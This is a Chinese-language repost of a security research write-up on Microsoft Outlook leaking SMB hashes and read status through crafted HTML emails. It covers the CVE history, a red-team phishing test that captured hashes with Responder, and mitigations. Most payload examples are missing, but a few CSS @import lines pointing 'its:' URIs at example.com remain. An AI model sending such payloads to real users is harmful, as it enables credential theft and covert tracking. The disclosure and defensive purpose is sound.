热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

Outlook中的SMB哈希劫持和用户跟踪

简介在受害者打开或者仅仅是查看电子邮件后,Microsoft(MS)Outlook可能会被用来向外部发送SMB握手包。 即使SMB端口被阻止,也会发送WebDAV请求。 这可以用来通过在外部接收SMB

简介

在受害者打开或者仅仅是查看电子邮件后,Microsoft(MS)Outlook可能会被用来向外部发送SMB握手包。 即使SMB端口被阻止,也会发送WebDAV请求。 这可以用来通过在外部接收SMB哈希去破解受害者的密码,或者在受害者查看电子邮件时接收通知。

此问题已于2017年7月部分修补(CVE-2017-8572 [1])。 根据微软安全响应中心(MSRC)的说法,2017年12月发布的CVE-2017-11927 [2]也修补了一些payloads。 该补丁已于2018年5月更新,以解决本报告中提到的其他问题。

 

介绍

用户即使不确定其内容通常也会打开新的无害的电子邮件去查看它们包含的内容。这样足以让攻击者劫持SMB HASH或至少确定受害者是否查看了该特定电子邮件,来确定MS Outlook邮件客户端是否正在使用并且用户已连接到Internet。当阅读窗格(预览页面)可见时(默认),只需单击电子邮件主题即可充分利用此特性。

此特性是在NCC Group的研究过程中发现的,并在Outlook 2016和2010中进行了测试,其默认设置中禁用了外部图像。这个问题已于2017年3月向MS报告。

我们还想提醒下,这一行为已经作为我们的Piranha网络钓鱼平台的一项功能实施。该平台是由NCC Group开发的,旨在帮助企业识别他们在网络钓鱼方面的人员,流程和技术故障,以便了解改善缓解网络钓鱼攻击的风险[3]。

 

研究和故事

在进行评估时,我收到了Outlook 2010中的一封HTML电子邮件,其中包含一个类似于以下内容的图像标记:


我可以看到Outlook在打开该电子邮件后正在搜索某些内容,并且完全打开它比平时花费的时间更长。我很快意识到Outlook实际上使用URL“\ example.com test image.jpg”并发送SMB请求到“example.com”。

尽管即使提供的SMB路径有效,它也不会加载图片,但它可以将SMB HASH发送到任意位置。这种攻击在Outlook 2016上无效,但它使我开始了一个小型研究项目,尝通过使用不同的URI方案和特殊payload接受URI的不同HTML标记。

我设法通过设计一个使用ASPOSE.Email [4]和Microsoft Office Interop库的快速ASP.NET应用程序来测试具有不同目标的已知URI方案列表。具有较小变化的cure53 HTTPLeaks项目[5]用来生成电子邮件的HTML模板。本研究中使用的C#代码,URI Schemes,公式和HTML模板可以在以下GitHub项目中找到:

https://github.com/nccgroup/OutlookLeakTest

为了减少复杂性,Sysinternals Suite的Wireshark和Process Monitor被用来检测远程和本地文件系统调用。

 

发现

Outlook在打开精心制作的HTML电子邮件时发送了外部SMB / WebDAV请求。 这可能会被滥用来劫持受害者的SMB hash或确定收件人是否查看过邮件。

此问题在Outlook默认设置阻止加载外部资源(如图像文件)可以利用。

远程执行
尽管”\”模式被Outlook阻止,但仍发现许多其他模式和URI方案,这些模式和URI方案强制Outlook将请求发送到远程服务器。

下表显示了已知的矢量:

本地文件系统执行

这种方式也可用于识别在本地文件系统上定位文件的URI方案。 这非常有趣,特别是当使用映射网络共享(具有写权限)时,或者在文件系统上可以删除文件时。 确定了以下URI方案:

一些payload 例子

某些URI方案(远程/本地)仅在某些HTML代码中使用时才起作用。 虽然在测试过程中只发现以下payload有效,但这些payload不能被认为是唯一能够加载资源的payload。

Image tag:


Base tag + image tag:



Style tag:


@import 'its:/example.com/foo1/test';
@import url(its:/example.com/foo2/test);

Body tag (Image):


Input tag (Image):


Link tag (Style):


VML tag (Image):




所有上述HTML标签的组合也可用于增加远程执行的机会。
payload也可以使用像这样的方法隐藏在电子邮件中:













This part is hidden




当用户以纯文本格式查看电子邮件时,攻击者在发送电子邮件时可以使用不同的MIME类型来隐藏payload。 因此,只有以HTML格式查看电子邮件的用户才能成为目标用户。 这也可能被滥用,以诱使普通用户查看HTML格式的电子邮件来执行攻击。

 

Piranha 钓鱼平台

在识别出这个漏洞后,我们就可以在红队的参与下在其他地方尝试。使用我们的Piranha网络钓鱼平台,我们制作了两封HTML邮件;第一个是明目张胆的钓鱼电子邮件,第二个是基于实际的批量营销电子邮件。在这两种情况下,在Piranha中都编辑了HTML源代码,以包含指向基于Internet的系统运行Responder的“其”URL的CSS @import。

首先,一些有针对性的用户将明显的网络钓鱼电子邮件转发给他们的IT部门,在此过程中揭示了他们自己的IT管理员和他们的IT管理员的hash。第二,隐形的电子邮件被发送给十个用户。其中8位在公司网络外收到电子邮件(正确阻止了445端口的出站流量),导致他们的哈希被捕获。值得注意的是,这比我们观察我们的自动化式的Piranha 用户运行的活动有大约四倍的成功概率,这些用户将受害者引诱到虚假的登录页面;使用合法的批量营销电子邮件作为转发人也阻止任何人举报。

 

MS 回复

这个问题已于2017年3月8日向MS报告,最初并未满足其安全服务标准,因为“这需要用户打开不可信的电子邮件”。 然而,在我们向他们提供了更多关于在我们的钓鱼攻击评估中利用此问题的证据(这使我们的攻击力增强了四倍)后,MS将其视为安全问题。

这个问题最初是在2017年7月下旬部分修补的[1]。 这个补丁没有停止“mk:@MSITStore”方案。

根据MSRC的说法,CVE-2017-11927 [2](由于我们的报告最初没有公布)已经纠正了一些有效载荷。 该修补程序在2018年5月进行了更新,以解决本报告中包含的其他问题。

 

无需补丁程序的解决方法

A)MS建议不愿意或无法处理网络边缘阻塞的情况是使用Windows防火墙执行此操作客户关注此类攻击,这已在[6]中记录。

B)基于MS的建议,解决方法是禁用Outlook中的电子邮件预览选项,并立即删除未知电子邮件而不打开它们。我们认为这种策略并不可靠,因为电子邮件用户的信任可以以多种方式被利用,特别是当电子邮件拥有迷人或熟悉的主题或其发件人看起来很熟悉时。

C)还建议考虑阻止对端口445和139的外部请求。虽然此解决方案不会阻止Outlook发送DNS或WebDAV请求(可用于跟踪),但它确实会打破SMB哈希劫持攻击。在我们的测试中,我们没有观察到SMB散列通过WebDAV请求发送出去。请注意,此解决方案不会解决在本地文件系统上定位文件的问题。

D)我们建议以纯文本形式打开Outlook中的所有电子邮件,以阻止此类攻击和其他类似攻击。为了以纯文本格式查看所有传入的电子邮件,请勾选下面的“以纯文本形式阅读”复选框:

Outlook>文件菜单>选项>信任中心>信任中心设置…>电子邮件安全

尽管用户通过这种方式阅读电子邮件不方便且困难,但这是目前最强大的解决方案。这与以纯文本查看HTML网页类似,可能会破坏使用浏览器的全部目的。当需要在HTML中查看可信电子邮件时,可能会将此选项更改为默认值(Outlook 2016提供了一种用HTML查看电子邮件的简单更改)。

除了上述以及类似于A点之外,用户应该始终选择强密码,并且在合适且有益的情况下,应该使用合适的Restrict NTLM策略来保护域用户。请注意,通过Restrict NTLM可用的限制可能会与通过使用网络隔离和基于主机的防火墙施加的访问控制重叠。

在某些环境中,后一种方法可能比Restrict NTLM 策略集更灵活或直接管理。在这两种情况下,了解主机之间的合法流量是定义和审计有效控制的基础。在推导任何策略和部署新策略之前,强烈建议使用Restrict NTLM 审核选项和设置。这将最大限度地减少意外阻止合法连接的可能性。

 

在RTF中使用OLE的另一个类似问题

虽然我们正在等待最后一个补丁,但在[7](CVE-2018-0950)上发布了一个类似的问题,使用SMB窃取密码哈希。 虽然它使用OLE载体,但它的影响是相同的。

 

参考

[1] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8572
[2] https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-11927
[3] https://www.nccgroup.trust/uk/our-services/security-consulting/managed-and-hosted-security-services/vulnerability-management-and-detection/phishing-simulation-piranha/
[4] https://downloads.aspose.com/email/net
[5] https://github.com/cure53/HTTPLeaks
[6] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV170014
[7] https://insights.sei.cmu.edu/cert/2018/04/automatically-stealing-password-hashes-with-microsoft-outlook-and-ole.html


推荐阅读
  • 第二十五天接口、多态
    1.java是面向对象的语言。设计模式:接口接口类是从java里衍生出来的,不是python原生支持的主要用于继承里多继承抽象类是python原生支持的主要用于继承里的单继承但是接 ... [详细]
  • Python 伦理黑客技术:深入探讨后门攻击(第三部分)
    在《Python 伦理黑客技术:深入探讨后门攻击(第三部分)》中,作者详细分析了后门攻击中的Socket问题。由于TCP协议基于流,难以确定消息批次的结束点,这给后门攻击的实现带来了挑战。为了解决这一问题,文章提出了一系列有效的技术方案,包括使用特定的分隔符和长度前缀,以确保数据包的准确传输和解析。这些方法不仅提高了攻击的隐蔽性和可靠性,还为安全研究人员提供了宝贵的参考。 ... [详细]
  • 优化后的标题:深入探讨网关安全:将微服务升级为OAuth2资源服务器的最佳实践
    本文深入探讨了如何将微服务升级为OAuth2资源服务器,以订单服务为例,详细介绍了在POM文件中添加 `spring-cloud-starter-oauth2` 依赖,并配置Spring Security以实现对微服务的保护。通过这一过程,不仅增强了系统的安全性,还提高了资源访问的可控性和灵活性。文章还讨论了最佳实践,包括如何配置OAuth2客户端和资源服务器,以及如何处理常见的安全问题和错误。 ... [详细]
  • 本文介绍如何使用OpenCV和线性支持向量机(SVM)模型来开发一个简单的人脸识别系统,特别关注在只有一个用户数据集时的处理方法。 ... [详细]
  • importpymysql#一、直接连接mysql数据库'''coonpymysql.connect(host'192.168.*.*',u ... [详细]
  • 解决问题:1、批量读取点云las数据2、点云数据读与写出3、csf滤波分类参考:https:github.comsuyunzzzCSF论文题目ÿ ... [详细]
  • 解决Parallels Desktop错误15265的方法
    本文详细介绍了在使用Parallels Desktop时遇到错误15265的多种解决方案,包括检查网络连接、关闭代理服务器和修改主机文件等步骤。 ... [详细]
  • 本项目通过Python编程实现了一个简单的汇率转换器v1.02。主要内容包括:1. Python的基本语法元素:(1)缩进:用于表示代码的层次结构,是Python中定义程序框架的唯一方式;(2)注释:提供开发者说明信息,不参与实际运行,通常每个代码块添加一个注释;(3)常量和变量:用于存储和操作数据,是程序执行过程中的重要组成部分。此外,项目还涉及了函数定义、用户输入处理和异常捕获等高级特性,以确保程序的健壮性和易用性。 ... [详细]
  • 如何将TS文件转换为M3U8直播流:HLS与M3U8格式详解
    在视频传输领域,MP4虽然常见,但在直播场景中直接使用MP4格式存在诸多问题。例如,MP4文件的头部信息(如ftyp、moov)较大,导致初始加载时间较长,影响用户体验。相比之下,HLS(HTTP Live Streaming)协议及其M3U8格式更具优势。HLS通过将视频切分成多个小片段,并生成一个M3U8播放列表文件,实现低延迟和高稳定性。本文详细介绍了如何将TS文件转换为M3U8直播流,包括技术原理和具体操作步骤,帮助读者更好地理解和应用这一技术。 ... [详细]
  • 在 Android 开发中,`android:exported` 属性用于控制组件(如 Activity、Service、BroadcastReceiver 和 ContentProvider)是否可以被其他应用组件访问或与其交互。若将此属性设为 `true`,则允许外部应用调用或与之交互;反之,若设为 `false`,则仅限于同一应用内的组件进行访问。这一属性对于确保应用的安全性和隐私保护至关重要。 ... [详细]
  • 为了确保iOS应用能够安全地访问网站数据,本文介绍了如何在Nginx服务器上轻松配置CertBot以实现SSL证书的自动化管理。通过这一过程,可以确保应用始终使用HTTPS协议,从而提升数据传输的安全性和可靠性。文章详细阐述了配置步骤和常见问题的解决方法,帮助读者快速上手并成功部署SSL证书。 ... [详细]
  • Python多线程编程技巧与实战应用详解 ... [详细]
  • 本文深入解析了WCF Binding模型中的绑定元素,详细介绍了信道、信道管理器、信道监听器和信道工厂的概念与作用。从对象创建的角度来看,信道管理器负责信道的生成。具体而言,客户端的信道通过信道工厂进行实例化,而服务端则通过信道监听器来接收请求。文章还探讨了这些组件之间的交互机制及其在WCF通信中的重要性。 ... [详细]
  • Python 程序转换为 EXE 文件:详细解析 .py 脚本打包成独立可执行文件的方法与技巧
    在开发了几个简单的爬虫 Python 程序后,我决定将其封装成独立的可执行文件以便于分发和使用。为了实现这一目标,首先需要解决的是如何将 Python 脚本转换为 EXE 文件。在这个过程中,我选择了 Qt 作为 GUI 框架,因为之前对此并不熟悉,希望通过这个项目进一步学习和掌握 Qt 的基本用法。本文将详细介绍从 .py 脚本到 EXE 文件的整个过程,包括所需工具、具体步骤以及常见问题的解决方案。 ... [详细]
  • 本文探讨了如何利用Java代码获取当前本地操作系统中正在运行的进程列表及其详细信息。通过引入必要的包和类,开发者可以轻松地实现这一功能,为系统监控和管理提供有力支持。示例代码展示了具体实现方法,适用于需要了解系统进程状态的开发人员。 ... [详细]
author-avatar
mobiledu2502914875
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有